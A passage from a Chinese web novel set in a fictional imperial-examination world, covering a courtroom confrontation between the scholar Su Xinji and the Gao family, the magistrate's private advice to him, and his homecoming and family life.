“梁洲被抓,这就是王俊在打咱们的脸,要我说,放了梁洲,把王俊给抓了才是!”高建邺想当然的说道。
高文德听后,脸色更是阴沉。莫说是知府,就算是县令,高家也没能耐说撸就撸。
三年丁忧,这就意味着高家已经被排除中枢之外,阁老大人如今处境微妙,绝对不会为了这点小事出手。不然,王俊也不敢对高家呲牙!
一个小小的士子,又能翻腾出多大的浪花?
高文德此刻没有多余的精力,关心儿子那些勾心斗角,他冷哼了一声:“四品大员,就连阁老大人都不会说抓就抓。你这脑子里究竟装的什么?”
“苏辛集县试第一,府试又是第一,据说他开蒙也就半年,你就不觉得奇怪么,动动脑子不行么?”
第六十六章 对薄公堂
高文德对面前这个小儿子,很是失望,遇到点事儿,就总想着找关系,动用权柄,一点解决问题的能力都没有。大儿子在这点上,就基本不让人操心。
高文德作为父亲,难免拿两个孩子比较。在这个特殊时期,他对小儿子的无能尤为不满。想要收拾苏辛集,玩阴的不行,那就用阳谋啊!
你一个才启蒙的士子,若是小三元,那不就是最大的槽点?
那些考了几十年都未能更进一步的士子,难道就不会提出质疑?
“父亲,我明白了。”高建邺听到后,似乎是有了新的想法,收敛心神,就要退出书房。
“等等,苏辛集这事儿,院试之前绝对不能再插手,若是让我知道,你再弄那些莺莺燕燕搅合事儿,我就打断你的腿!”
“是!”高建邺一脸阴霾,可他了解父亲的脾气,此事只能再做打算。
就在高建邺魂不守舍的退出书房,准备去醉红楼听曲儿放松下,便见到一名小厮慌张跑了进俩。
“不好了,少爷!”
“什么事儿,慌慌张张,鬼上身了?”高建邺心中本就有火,见到小厮如此莽撞,冲着小厮就是一脚。
“少爷,是那苏辛集,他,他把咱们高家给告了!”小厮疼得龇牙咧嘴,跪在地上说道。
高建邺愣了下:“什么,苏辛集?”
“是,他把莺歌给控制住了,手里不知还有什么证据,衙门那边来人,说要带高管家去问话。”
这些腌臜事,高建邺都是让管家去处理的。一旦牵扯进去,还不知道会惹出什么罗乱。唯一值得庆幸的是高管家在高家二十多年,嘴巴还是挺严的。
“马上备车,我要去府衙!”高建邺转头就把高文德的警告,抛去了九霄云外,此刻他满心都是一个目标:收拾苏辛集!
马车一路狂奔,到府衙的时候,周围有不少人。
小厮下车吆喝了两声,众人让出了一条一米宽的路。高建邺刚一进府衙,就见到苏辛集就在现场,旁边是跪在地上瑟瑟发抖的高管家。
两人对视,高建邺冲着管家微微点头,示意他不要紧张。随后高建邺清了清嗓子:“苏公子,今日刚得了童生功名,就这么迫不及待的露脸,可惜,你找错了攀咬的对象!”
高管家见自家少爷出现,当即叫嚣起来:“他也不知道是抽哪门子风,非说我们高家找人败坏他名声,我们高家是什么门楣,怎么可能做这等不入流的事情!还望大人明鉴!”
莺歌本就是风尘女子,有谁会信她的话?
再说了,当初找她也是拐了好几道弯儿,莺歌都没见过自己,她手里根本就没有证据。
现在建邺少爷到场,最多就是走个过场的事。高管家心中异常坚定,死不承认,回头就不了了之了。甭管怎么说,府衙这边,都要给高家几分颜面的。
王知府看向高建邺:“不知高公子有什么要说的?”
高建邺现在也是童生,更代表了高家,王俊出言询问,也是理所应当。高建邺还没开口,便有人拿来了椅子。
“我也是刚知晓此事,若是我高家下人做了什么不当之举,高家绝不姑息。但若是有人故意陷害,我高家也绝对不会就此罢休!”
言外之意,就算有不当之举,也是我高家自己的事情,衙门不能随意处置。反过来,如果没有实锤,那某些人必须要受到严惩。
王俊有些担忧的看向苏辛集,当初也是为了给他点压力,没想到这小子真那么愣,刚放榜就跑来击鼓鸣冤。
连日批卷,今日放榜后,王俊本以为就可以歇息,谁能想到又要来断这令人挠头的官司!
府衙审理案件是有流程的,基本是提前告知双方,在特定的日子公开审理。这次不一样,主要就是原告苏辛集有童生身份,再加上他名气极大,突然击鼓鸣冤,若是不办理,恐怕会引起更多非议,如此局面下,王知府也只能把高管家请来配合问话。
眼瞅着高管家就要招了,高建邺匆匆赶来,局面逆转。
眼瞅着
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苏辛集就是在玩火**,王知府突然有些后悔,当初不该点他为案首,就该压压这小子的气势!
如今这小子得意忘形,一拳打到高家面门,怕是要坏事了。王俊内心深处,是对苏辛集有些同情和不忍的。他看向苏辛集:“你有什么要说的?”
在高建邺来之前,苏辛集就已经交出了人证,陈述了事情的经过。不过都是口述,缺乏实质性证据,就凭眼下的证据,还不足以指证高家。
“大人,学生有话说!”苏辛集朗声道。
听到苏辛集自称学生,王俊不禁有些头疼。
可偏偏苏辛集也没说错,作为府试主考官,他就是苏辛集的老师。
“说。”
“高建邺是童生,我也是,为何没有人给我拿椅子?”
“……”
王俊嘴角抽了抽,这小子真是一点不安生,他要的是椅子么,分明是本官的命!
这样的事情,怎会有人拿到桌面上谈?
果然,衙门外围观的人群骚乱了起来。
高建邺见苏辛集发难,眼中杀意尽显。我背后有高家坐镇,你凭什么跟我比?
当然,有管家在场,用不着高建邺亲自下场撕逼。
“我家少爷走到哪里,都是座上宾,你算什么东西?”
高管家冷哼一声,还没意识到问题的严重性。
苏辛集道:“大昭朝的律法明确规定,只有生员可见官不跪,举人可坐于堂上。高建邺与我同为童生,为何他能坐,我却没座儿?”
这话很明白,你们就是在区别对待,律法有规定的事情,官府都能如此维护高家,随意修改规则,那其他事情,还能有什么公平可言?
不少士子听了,恨不得马上给苏辛集鼓掌。他们寒窗苦读,不就是为了能活出个人样么?
现在高家随意**权柄,明眼人都看得出来,衙门做事若是连表面的公正都没有,那谈何公平正义?
众人齐刷刷的看向王俊,想知道他究竟怎么处理这个尴尬的局面……
第六十七章 高家发难
面对压力,高建邺直接绷不住了。
“苏辛集,你不要太自以为是!”
“自以为是?作为学生,自然是不懂就问!”苏辛集转头看向高建邺:“倒是高公子你,坐于公堂之上,自比举人,到底是谁自以为是?”
“你!”
高建邺唰站了起来,若不是有所顾忌,恐怕就要动手了。
王知府反而松了口气,顺势道:“既然高公子不愿意坐,那就把椅子撤了吧。”
高建邺脸色阴沉的能拧出水,可刚才是他自己主动站起来的,如今这个局面,倒是怨不得别人。苏辛集真是可恨至极,今日非要让你知道我高家的手段!
“好样的!”
“苏案首是我辈之楷模!”
见高家公子第一回合就吃瘪,众人不禁给苏辛集喝彩。
高建邺恶狠狠的看向衙门口,外面的人把衙门口堵得水泄不通,根本分不出是谁说的。他藏在袖子中的双拳,因为紧握而微微颤抖,深吸了两次才勉强平复下了情绪。
“如今,你我二人都站在这里,不知苏公子有什么证据,指向我高家?若是你没有真凭实据,那就是诬陷!”
高建邺咬牙切齿的看着苏辛集,眼中满是怒火。高管家对苏辛集也是恨的牙痒痒,巴不得高建邺收拾苏辛集。
这个苏辛集,只不过是个府试案首,就敢在高家头上动土,真以为一个童生就能横着走了?
看到这一幕,衙门口那些支持苏辛集的士子,此刻都哑火了。
不少人都清楚,高家若是反咬一口,苏辛集就算有理都说不清。
王知府心中也是万分感叹,苏辛集是个好苗子不假,可惜不知明哲保身,如今高家发难,他怕是要吃大亏了!
若是因此陷入消沉,那就真可惜了。
终究还是太年轻了些。
正当众人感叹时,苏辛集开口道:“诬陷?真是笑话,我何时指证过高家?”
高建邺一怔,随后看向高管家。
高管家意识到问题的严重性,立马转头抓着高建邺的衣角,跪地求饶:“冤枉啊,少爷,您可一定要为我做主啊!”
坑陷苏辛集的事情,都是高建邺主使,高管家担心高家弃车保帅,哭的鼻涕一把泪一把。
高建邺此刻已经反应过来,苏辛集的意图,心中大骂高管家是个蠢货。你若是一人抗下,等事情过后,我自会想办法,可你这样,这不是主动攀扯高家么?
果然,苏辛集借机道:“看样子,高管家的行为,背后有人授意啊!”
周围一片哗然,高管家意识到苏辛集是故意等这一刻,立马反驳:“没有,绝对没有!”
此地无银三百两!
众人议论的声音更大了,若是单独面对高家,众人兴许不会如此。如今高管家就站在风口浪尖上,事实清楚,众人也不怕王知府混淆是非,难不成还能为了一个管家,堵住所有人的嘴巴?
若是没有苏辛集,兴许众人还能忍受高家的横行霸道,如今苏辛集捅破这层窗户纸,众人也开始倒苦水,诉说高家的恶行。
往常一派从容的高建邺,脸色铁青。高家现在被卷入风波,想要摘出来太难了。
“肃静!”
王知府一拍惊堂木,场面瞬间安静下来。
“苏辛集,你可有其他人证或是物证?”知府王俊不过是顺口一问,没想到苏辛集道:“大人,学生有!此女已经不是第一次构陷,之前她连我长什么样都不知,念她初犯,我等又着急参加考试,便放了她一马。今日放榜,她故技重施,忍无可忍之下,我便抓住了她,她的上线见有变故,趁机想从人群中离开,被在场的其他士子发现,拦下了。”
短短几个时辰,鲁秉策不仅拦住了那人,还说服他站出来指证高管家。
这便是高管家找莺歌攀扯苏辛集的直接人证!
苏辛集本来的打算是收拾高管家,给高家提个醒,让他们知道自己不是软柿子。不曾想高建邺主动跳出
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来,若是高管家扛不住,或者觉得高家有意舍弃,心生怨怼,到时候主动交代高家的那些腌臜事,那就有意思了。
至于王知府怎么处理,倒显得不那么重要了。
高建邺看着两个证人,脸色黑成木炭,苏辛集就靠这么两个无足轻重的小人物,就把他们高家给扯进纷争了。想起父亲的告诫,高建邺心底一片寒凉。
“大人明鉴,我确实不知情。这两人肯定是见我高家名声在外,动了歪心思,我们高家防不胜防啊。”
王知府了然,高建邺这是想息事宁人,不然苏辛集顺藤摸瓜,牵扯出通判梁洲做的那些事儿,高家就彻底摘不出来了。如此一来,倒是将负面影响降到最低。
再次拍响惊堂木:“莺歌,你随意攀咬我万安府的童生,毁人名声,可知罪?”
莺歌浑身一抖,紧张地说不出话。
之前她以为说出了真相,就没事了。可事情发展到这一步,无论会不会把高家拉下水,她都难辞其咎。她本就是贱籍,诬陷童生,罪加一等!
莺歌连忙指向身后之人:“都是他,他跟我说,他是高管家的外甥,只要事情办妥,高家必有重赏,到时候帮我赎身,与我远走他乡。我也是鬼迷心窍,才会信他的鬼话!大人,我已知错,求您明察!”
说完,莺歌连忙磕头,额头撞在地上,咚咚直响。
殷红的血顺着眉心流了下来,让人不禁心生怜悯。
苏辛集拱手道:“大人,我初来府城,平日里都在学院学习,与此女子素未谋面,她几次三番跳出来攀扯,定是受人指示!当初,我在街上,曾经与高家公子产生过摩擦,他出言嘲讽,说我山阴县人才凋零,当时考试在即,为了不耽误考试,我便说府试后见分晓!”
话说到这里,苏辛集便把当日发生的前因后果,细细说来,这件事不少人都亲眼所见,只要稍微打听,便知真假。
王知府微微点头:“来人,去寻证人!”
第六十八章 完成约定
略微停顿,苏辛集转身,看向衙门口的士子:“谁知高家公子利用家族权利,第一场便安排我去厕号,见我不受影响,第二场让衙役故意毁我程文纸,见我不服,竟然拔刀相向。后来通判梁洲又是非不分,硬是要给我扣一顶扰乱科考现场,涉嫌舞弊的帽子。幸亏圣上隆恩,福泽万民,给我自证清白的机会,我当场默写了答卷,历经曲折,终于获得了府试案首,连中两元,这让高家公子彻底眼红,再次动用莺歌这枚棋子,想要毁我名声!”
高建邺大惊,几乎是吼出来的:“大人明鉴!这小子满嘴胡言,我根本不认识什么梁洲,更不认识什么莺歌!”
“哦?不是你,那看来,都是高管家狐假虎威喽?你倒是说说看,这二人与我素未谋面,若不是有人威逼利诱,他们怎会随意攀咬?”苏辛集反问道。
莺歌知道,自己就只有这一次机会,连忙哭的梨花带雨:“大人,此人自称是高管家的外甥,醉红楼的妈妈和姑娘们都能给我作证,若不是他拿出高家信物,我也不敢轻易相信,那信物如今还被我放在醉红楼,大人派人同我走一趟,便知我没有说谎。”
高建邺险些咬碎牙齿,恶狠狠地瞪着高管家,这点小事都办不利索,要你何用?!
高管家慌的冷汗直流,他清楚高建邺的性格自私自利,若是真的到了那个地步,高建邺会毫不犹豫的选择保护高家利益。
自知大事不妙,高管家心中闪过无数个念头。
若高家打算放弃我,那我又何必维护高家?
场面一时陷入僵局,王知府突然感受到心慌气短,高建邺真是糊不上强的烂泥,一手好牌,打的稀碎!
果然,衙门口的士子听到高家买通通判,在考场打压异己,那肯定也会左右科考成绩,高建邺这个府试第三,水分就很大了。
不少士子都参加了多年的府试,一听到有人暗中操控,左右科考成绩,顿时怒不可遏。群情激愤,王知府也不敢贸然下定论,生怕自己不小心,沾上一身泥。
“来人,去醉红楼,请老鸨,姑娘们前来问话。”
事已至此,就算是知府王俊想要给高家面子,也不可能当众偏袒。若是刚才高建邺能壮士断臂,果断放弃高管家,这事儿还能点到为止。如今又牵扯出了通判梁洲,想不追查到底,恐怕都不行了。
等待的过程中,苏辛集站的有些脚酸,若是能坐会儿就好了,只可惜,功名不够……
现实再一次告诉苏辛集,想要得到尊敬,参加科举是最常见,也是最容易的路。
半个时辰后。
醉红楼的老鸨、姑娘们就被带到衙门。当着众人的面,她们哪敢隐瞒,将高管家的外甥如何说服莺歌,留下高家信物的事情,都说了出来。
高管家听后,心如死灰。
他算是彻底栽了!
醉红楼这种地方,姑娘们最大的消遣就是嚼舌根子,谁得了好东西,谁又遇到贵人,这些消息就像是长了翅膀,很快就能传遍整个醉红楼。
高管家彻底没救了,苏辛集静静欣赏着高建邺的表情,若不是答应了王知府,你小子在我手里,活不过一回合!
苏辛集刚才有个细节没有说,他之所以能有机会自证清白,根本不是什么圣上福泽,而是他跟王知府的一场约定!
此时的王知府,心情是复杂的。之前跟苏辛集确有约定,那不过是自己给爱才之心找个台阶,不忍苏辛集就此错失良机。谁能想到,苏辛集真的戳破真相,真当人证物证摆在堂前,王知府有些不敢判了。
高大人丁忧,并不是告老,他重归朝堂的几率极大……
权衡利弊之下,王知府把球踢给了高建邺:“高公子,人证物证俱在,你有什么想法?”
想法?
我还能有什么想法!
高建邺心中暗骂王俊,都到了这个份上,我的想法还能左右局面么?
想要保护官声,又不愿意得罪我高家,想的挺美啊!
“
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大人,容我片刻。”
高建邺即便是有所怨怼,也不敢过多撕扯,眼下控制住局面才是最重要的。
“无妨。”
这点事儿王知府还是要通融的。
高建邺随后走向高管家,高管家本是跪在地上,看到面前多了一双熟悉的鞋子,心中一惊,抬头看向高建邺。
“建邺少爷,我……我知道错了!”
在高管家看来,他办事不利,可这些年没有功劳也有苦劳,只是这一次阴沟翻船,若是自己态度诚恳,高建邺兴许会动恻隐之心,找老爷出面调停。毕竟自己手里,还拿捏着高府不少事儿呢!
下一秒,高建邺一脚踹在高管家的心窝,毫无防备之下,高管家翻倒在地。
“大胆!这些年在我高家作威作福还不够,竟然跑去构陷苏公子?说,这事儿到底是谁指示你做的?”
高建邺如此,就意味着要弃车保帅了。
高管家太了解高家的手段,知道高建邺是想让他扛下所有!
他在高家二十多年,妻子孩子都是高家的奴仆,他不愿意顶锅,但也没胆子反抗。
气急攻心,高管家一口鲜血喷出,人便陷入昏迷。
高管家昏迷,剩下的事儿,高建邺想怎么解释,便怎么解释了。
“大人,高管家肯定是看着苏辛集与我有口舌之争,才想着私下报复,帮我出口气。我并不知情,完全是刁奴一人所为,我高家痛心疾首,但绝不包庇,还望大人明察!”
高建邺知道事情不妙,只能舍弃了高管家。这种毫无人性的做法,让不少士子对高家,有了看法。
王知府心中微微叹息,随后道:“事情已经查明,高公子能当机立断,本官很是欣慰。按大昭律法,贱籍辱有功名者,杖三十。念莺歌主动坦白,又是受人蛊惑,杖十,主犯三十。”
说着,王知府抽出签子,丢在地上。
立刻有衙役上前,高管家和他外甥,就算是侥幸有口气,也活不过今晚的。
第六十九章 给你上一课
高建邺不会允许这样的隐患存在的。
十板子打完,莺歌浑身是血,人已经晕死过去。
苏辛集心中有些不忍,当初答应了莺歌,只要她愿意交代,便帮她一把。若是莺歌能挺过这一关,后面便帮她摆脱贱籍,获得自由身。
高管家便没那么好的运气,受了高建邺全力一脚,本就心脉受损,三十大板子下来,他便命丧当场。至于他外甥,侥幸留着一口气,怕是过不了今夜了。
苏辛集很清楚,事情也只能暂时作罢。
退堂后,苏辛集本想离开,却被知府王俊叫到了后院。
看着苏辛集没事儿人的样子,知府王俊很是来气。
“你小子,倒是挺有能耐的哈?!”知府王俊数落道。
“学生不敢当,都是恩师调教得好。若不是恩师给我机会,学生根本不可能替自己讨回公道。”
“哼!”王俊冷哼一声。合着这小子在考场上就是故意挖坑,其实早就有所打算,算计了所有人。如今苏辛集参加了府试,自称学生,倒也无可厚非。
下人端茶上来,王俊抬手示意苏辛集坐下。
“你既然叫我恩师,我便给你好好上一课!当年谢家被贬,你了解多少?”王俊突然提到了谢家。
“学生了解不多,只是知道岳父**当朝阁老,科举舞弊,卖官鬻爵,这才……”
“呵,你刚才在堂上,不是挺大胆的么?怎么现在没有旁人,说话却吞吞吐吐的?”王俊被气笑了,这小子还真挺能装的。
“说来惭愧,我虽娶了谢家女儿,却并不知道这背后的事情。阁老身居高位,官场中的事儿我也都是道听途说,不敢妄下断言。”
王俊把茶碗往桌子上一放:“好一个不敢!我怎么不知道,你小子还有不敢的事儿?”
苏辛集一惊,连忙起身,拱手认错:“学生知错。”
良久,王俊叹了口气,收敛情绪,意味深长地看着苏辛集:“坐下,都说了,私下里不必如此见外。很多事情,都不是空穴来风。只是谢允不懂得审时度势,才有了这般苦果。你是个聪明人,应该明白避其锋芒,韬光养晦的道理。如今你得了府试案首,关注你的人只会越来越多,若是有人旧事重提,你将如何自处?”
苏辛集低头:“学生没想过。”
他倒不是真的没想法,而是知道王俊有意点拨,所以虚心受教。至于到时候怎么做,那就得审时度势了。
王俊见苏辛集这个态度,心中的怒气平息了不少:“如今你跟高家较上劲,倒是可以提前想一想了。以你的性格,早晚会接触到那个层面的事情,我只想告诉你,君子报仇十年不晚,千万不要一时头脑发热,做下蠢事。”
若是王俊没有看过苏辛集的文采,必定不会啰嗦这些,如今他见识了苏辛集的手腕,惊叹之余,心中隐隐有些担忧。
木秀于林风必摧之,王俊不忍看到苏辛集还未长成,便中途夭折,所以多说了几句。
这份关切,饱含着对人才的关切,也有老友张伯勋的重托。
王俊打量着苏辛集,若是这小子娶的是张家丫头,兴许仕途之路能顺遂不少……
谢家丫头,终究是个麻烦。
苏辛集朝着王俊,深深作揖,“多谢恩师指点。学生定当铭记于心。今日之事,若是从来一遍,我依然会选择报官,若是放任不管,某些人只会愈发肆无忌惮,为所欲为。学生自知不是圣人,没有能力惩尽天下罪恶,但人若犯我,我必十倍还之!”
正所谓造谣一张嘴,辟谣跑断腿。苏辛集心里很清楚,若是让高建邺得逞,那后面的麻烦事肯定更多。
无论是大昭朝,还是现代,一旦名声毁了,那这个人就彻底与仕途绝缘了。
“唉,你既心中有数,便好自为之吧。若是有机会入内舍读书,兴许还能躲过高家的手。”王俊身份特殊,不可能明着帮苏辛集,暗地里给他指一条明路,已经是额外照顾了
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书院内舍的夫子,少说也是举人出身,甚至还有进士,若是真的成为内舍学子,只要不走出学院,即便是高家,也无可奈何。这是其一,若是苏辛集想要继续参加科举考试,那必然要博览群书,借鉴程文。学院内舍的收藏,经历了上百年的沉淀,这样的资源,可不是一般人能企及的。即便是京城中的大家族,也未必有这等收藏。
若是苏辛集能进入内舍,高家短期内绝对不敢动手,他就会有充足的机会成长。
离开了府衙,苏辛集跟学院请了十天假,准备跟着大师兄温长丰他们一起回山阴县,顺便跟周夫子报喜。
苏辛伟正忙着木器店的事儿,这次便没有跟着一起回家。
到周家的时候,夫子正在书房练字。
“夫子,好消息,大师兄和小师弟已经是童生了。”杨闻道面上看不出丝毫不快,这次,二师兄杨闻道没上榜,来年还得从县试开始。
“嗯,闻道啊,你也不要气馁,能通过者毕竟还是少数。你如今有了经验,下次肯定能一举拿下。”
“学生定会努力,向大师兄和小师弟看齐。”
杨闻道点头,眼中多少还是有些落寞。苏辛集看在眼里,拿出了两个厚本子。
“二师兄,这一本是我在学院藏书阁抄录的笔记和心得,这一本是程文集,有张知府的一些指点,也有我自己抄录的万安府近年优秀程文,都是我手书的,本想拿给夫子在学堂传阅,不如就从你开始吧。”
苏辛集当着夫子的面,把两本书交给了二师兄杨闻道。
杨闻道大惊,“小师弟,这怎么行?”
市面上,单是一本近年优秀程文,就值五十两银子,而苏辛集这本还有张知府指点的笔记。如此贵重,杨闻道自然不敢轻易接受。
“让你拿着,你就拿着吧。即便是放在学堂,也该从你开始轮着看。如今你身边有辛集这样的案首,比我们那个年代可真是幸福多了。”
第七十章 脸上有光
周夫子心中很是感慨,杨闻道府试落榜,他并不意外。他意外的是苏辛集府试成绩,依然是第一。而且他还主动拿出了学习心得,这胸襟和气度,在同龄人中实属罕见!
三人又把府试中的题目说了说,探讨了下答案。苏辛集是案首,所以说得多一些,温长丰听完,顿时觉得自己确实学得不够扎实。
周夫子倍感欣慰,捋着胡须道:“你们都长大了。辛集啊,你娘若是知道你中了,定然高兴。为师虽有很多话要跟你聊,但今日你们还是先回家,跟父母分享下心中的喜悦,有空再来我这里。长丰,你也回去报喜,明日可以休息一日。院试过了,才算是真正拥有功名利禄,切莫松懈。闻道,你留下,刚才辛集和你大师兄思路,你重新整理下,加入到程文集里去。”
“是,夫子。”三人躬身答道。
童生虽然是功名的最底层,却也算摆脱了白身,只要下一步院试能榜上有名,那就是秀才。退一步说,若是院试失利,下次可以直接参加院试,不用从头再来。
苏辛集如此年轻,并且县试、府试都是案首,很有可能拿下小三元。周夫子内心是极为看重的,只是没说出来,怕给苏辛集太大的压力。
苏辛集府试中了案首的消息,先一步传回来。苏家一片喜气洋洋,大房也一改常态,对林沐芳客气了不少。
“弟妹,你可真是个有福的,生了辛集这么优秀的儿子!”
“是啊,他婶子,你日后啊,擎等着享福吧。多少人读书读了一辈子,连县试都过不了,辛集才开蒙几天啊,就过了府试,要是再一口气过了院试,那就是秀才老爷喽!”
当上秀才,虽然入不了仕,但也算是阶层跨越了。苏家老大苏文考了二十年,不过才是个秀才。林沐芳听着亲戚们恭维的话,脸上有光,可嘴上却谦虚的道:“院试哪有那么容易,辛集也就是去试试手。”
二房家的邹氏恰好过来,阴阳怪气地道:“还是弟妹有自知之明,院试那可都是过了府试的学子,辛集才读了几个月的书,别说咱们山阴县,就是万安府,也没几个才开蒙不到一年就能高中秀才的吧?”
林沐芳听到这话,有些不乐意了,甭管怎么说,苏辛集可是县试第一,府试也是第一,就连周夫子都说,这样的人到了院试只要正常发挥就没有不过的。倒是你们二房家的两个儿子,没有一个中用的!
这么多年,浪费了多少公中的银两,这你倒是不说了?
林沐芳勉强回应了一句:“二嫂说的也是,人外有人天外有天嘛,不过我们辛集还小,机会多的是。府试第一,我都很意外了,毕竟才开蒙半年多,能成为童生,我就很开心了。”
苏家二房俩儿子都读了十几年书,下场多次,别说童生,就是县试都没过。苏辛义自知不是学习的料,去年便放弃了科举,到家里的药店帮忙了。苏辛尔倒是跟着苏辛集一起参加县试,学堂里一共五个人去参加,两个人没中,其中一个便是苏辛尔。
林沐芳的话,彻底让邹氏上头了。
事实往往是最扎心的,邹氏冷笑了声:“辛集的爹走的早,你能帮他成家就算是尽心尽力了,立业的事情也别勉强,好赖咱家有药铺,旱涝保收,若是辛集觉得读书辛苦,或者是花销太大,也可以让他来药铺干,怎么也得给孩子安排个掌柜的。”
语气中满是高高在上的炫耀,觉得整个苏家都是靠他们二房支撑着。殊不知,苏辛集的文具店在府城已经开了张,每日都有不少的进项。
邹氏引起了话题,亲戚们自然顺着讨论了起来。
“听说,一场县试少说得十几两银子,保费二两,其他花销倒是不算太离谱,但上上下下十多两银子分文不剩。”
“可不咋的,我听说几个孩子在省城也是租的房子,你还别说,这里面的空间是真的好用。”
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>“年轻真好,只考虑往前冲,很少管理后退的事儿。”
想想道理确实如此,苏辛集也没有在意。
林沐芳听到众人的议论,心里在打鼓,他们苏家按理说不差这点银子,可赚钱的毕竟是二房,她一个妇道人家,怎么可能去跟他们理论。
二房邹氏看在眼里,语气重藏不住的得意:“我能理解一个母亲的心情,可日子总要过的,咱们苏家虽然不用从牙齿里扣粮食,但也不可能总是如此浪费。我听说嫣儿为了画插画,补贴家用,连门都不出的,长此以往不合适啊。弟妹啊,你可得跟辛集说说娶老婆回来,是为了传宗接代的啊!”
“是啊,老三家的,你们三房人丁稀薄,开枝散叶才是重中之重。”
林沐芳的表情有些闪烁,她一直期待能早日抱上孙子,可前阵子苏辛集为了准备考试,俩人经常半夜还在书房,可当着这么多人的面,林沐芳不可能拆台,她尴尬一笑,:“谁说不是呢,回头辛集回来,我就跟他说。”
责备声中,苏辛集的声音突然响起:“各位长辈,大可不必费心,我们自有安排。”说着便把手里的鱼、肉交给了你母亲,“娘,你们不用着急……”
见到苏辛集回来,林沐芳一喜,也不管别人怎么说,她上去就拉着儿子的手:“这才两个月不到的功夫,怎么就瘦了那么多?不成,等下我让管家把那头羊宰了,趁着你在家,好好补补。”
“怪不得呢,老三家的,你这也太不会过日子了。”
“是啊,要我说能认识几个字,就很好了,没必要非得参加科举。刚才周夫子还说,我天赋极高,若是半途而废,着实可惜。”
邹氏听到后,冷笑了下,“你有天赋?你要是真有,也不会沉积这么多年疤。”林沐芳这才想起,苏辛集去府城前,确实交代了不少事儿。只是顾不上,现在突然听到亲朋好友的话,林沐芳不禁有些懊恼。
第七十二章 一生一世一双人
感受到耳边的热气,谢嫣儿只觉得浑身痒痒的,她轻轻推了苏辛集一把:“你别这样,你去府城是读书的,我跟着去算怎么回事?”
“那我想你了,怎么办?”
恰好这时,林沐芳过来催促二人快点去老爷子那边,怕耽误了晚饭时辰,撞见两人你侬我侬,林沐芳到嘴的话又咽了下去。
“娘!”谢嫣儿有些尴尬的看着林沐芳。
“咳咳,我就是过来看看,集儿的新衣服合不合身?”林沐芳解释了句:“那个,你们快点,试好衣服就赶紧去,我先去老爷子那边,今晚要来不少客人。”
“知道了。”苏辛集应了一声。
林沐芳走远后,苏辛集随手整理了下新衣服:“娘子,最近外面不太平,甘露寺你少去,我不在家,万一要是有点啥,我也不放心。”
谢嫣儿心不在焉的点了下头。
苏辛集知道,她是听进去了,便没有继续。
每个人都有自己的秘密,尤其是谢嫣儿这样的人。苏辛集倒是不着急,这样善良的姑娘,值得他耐心对待。
苏老爷子久病,已经很多年不宴客了,即便是苏辛集大婚,他都只是漏了个脸,不似今日这般整场陪同宾客。
苏辛集对于这种应酬,一点提不起兴趣,吃完饭便推说要回去读书,就拉着谢嫣儿提前离开了。苏辛尔看着堂弟的背影,眼神有些恍惚。
这才过了几个月啊,苏辛集已经是童生了,还在书院混的风生水起,而自己却依旧是百无一用……
苏辛尔有些心灰意冷,看着满堂宾客都是为了苏辛集而来,更是不愿意久留。
苏辛集拉着谢嫣儿走回三房小院,一路上苏辛集的嘴巴就没停下。俩人一起探讨插画,据说赵掌柜的听说苏辛集中了案首,高兴的差点哭出来。
“你不知道,赵掌柜的说,若不是因为你在府城,他定要拉着你喝两杯庆祝下。这次,你回来两日,怎么也得抽空去赵掌柜那里转一圈。”
“好。我这几日又有些新想法,明日画出小样,你最近有空可以挑几幅画出来。”
谢嫣儿投来崇拜的目光:“你还有时间想这些?”
“昂,也就是些小想法,具体画出来,还得靠你。”苏辛集哪里会说,这些玩意在现代都是烂大街的东西,只要给他时间,完全可以复刻出更多。
“夫君,我真是很好奇,你这脑子里到底装的什么,好像什么在你这里都不难。我五岁起便开始学画,你的那些画稿,我却怎么也想不出。”
“你能画便很好了。”苏辛集握着谢嫣儿的手:“尺有所长,寸有所短。咱们在一起,才是完美!”
月光下,苏辛集掏出一个精美的小木盒:“看看喜欢么?”
谢嫣儿看着木盒里的一对翡翠戒指,激动的看着苏辛集:“真漂亮!”
“你喜欢就好,不是什么极品,我只是看着做工尚可,样式还不错,便买来了。回头等我攒些银子,定制个专属款。”苏辛集认真的说道。
“这个就很好!”谢嫣儿拿出女士戒指,苏辛集顺手给她戴上了:“大小正合适,你帮我也戴上。”
苏辛集伸出右手,谢嫣儿白了他一眼:“好好,就你鬼主意多。这又有什么说法?”
“一生一世一双人,多好!”
苏辛集趁机在谢嫣儿脑门上亲了下。
“别闹。”这一刻,谢嫣儿的眼中是有光的。
次日。
听说儿子下午就要回去,林沐芳心中万分不舍。
“怎么才住一日,便要走?”
“来回路上耽搁了不少功夫,我现在课程很紧张,等过些日子,小伟在那边安顿好,可以把您和嫣儿一起接过去。”
“唉,娘在家里就很好,有小伟照顾你,娘还能放心些。”
林沐芳看着儿子如此上进,只能压下心中担忧,耐心的嘱咐道:“集儿,你这一去,是不是要等过年才能见到了?这还有大半年,你得照顾好自己,在外面要是受了委屈,那就回来,好赖你和嫣儿都会画插画,怎么还不能混口
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饭吃?”
“娘,我有数。”苏辛集笑着道,此前最希望自己能读书,走仕途的是母亲,如今自己两度案首,不希望自己耗心血读书的,依然是母亲。
“好好,只要你喜欢的,娘都支持。这天气马上就热了,夏衣娘放在包里,你在书院有什么需要就让小伟准备,或者让他捎话回来,我们准备也行。”林沐芳嘱咐道。
儿行千里母担忧,苏辛集的眼眶难得湿润了少许。
林沐芳到时会见缝插针,悄悄压低声音道:“儿啊,娘没别的牵挂,只有一事儿,你媳妇进门都半年了,你在这一走,又要大半年才能回来……”
苏辛集知道林沐芳的意思,实在是不愿提及这个话题,便出言打断:“娘,等我进了内舍,就把嫣儿接过去,到时候总有机会的。”
“到时候?”林沐芳竖起凤眼:“别欺负娘读书少,你就算是中了秀才,都未必进的去书院内舍!你又不是女子,生孩子会耽误你多少功夫?左右不过是片刻的事儿!”
见林沐芳如此,苏辛集尴尬一笑:“娘,瞧你说的,让人脸红!”
苏辛集趁着上午的功夫,去了一趟崇文阁。
赵掌柜见到苏辛集,喜出望外。
“苏公子,恭喜啊!”
“呵呵,多谢赵掌柜照顾。我最近又画了些小册子,回头让内人完善好细节,一并拿过来。”苏辛集寒暄了几句,随口道:“赵掌柜,我看省城的书局,会有一些免费拓印纸质版给顾客,你可以试着用白布拓印一些好看的内容,往铺子外面挂一挂,让人一眼就看出咱们崇文阁的与众不同!”
“哈哈,好主意!”
赵掌柜眼前一亮,这个苏辛集,每次都有新点子。
“苏公子,不瞒你说,我都有种冲动,想要跟你一起去府城发展了!”赵掌柜半开玩笑似的说道。
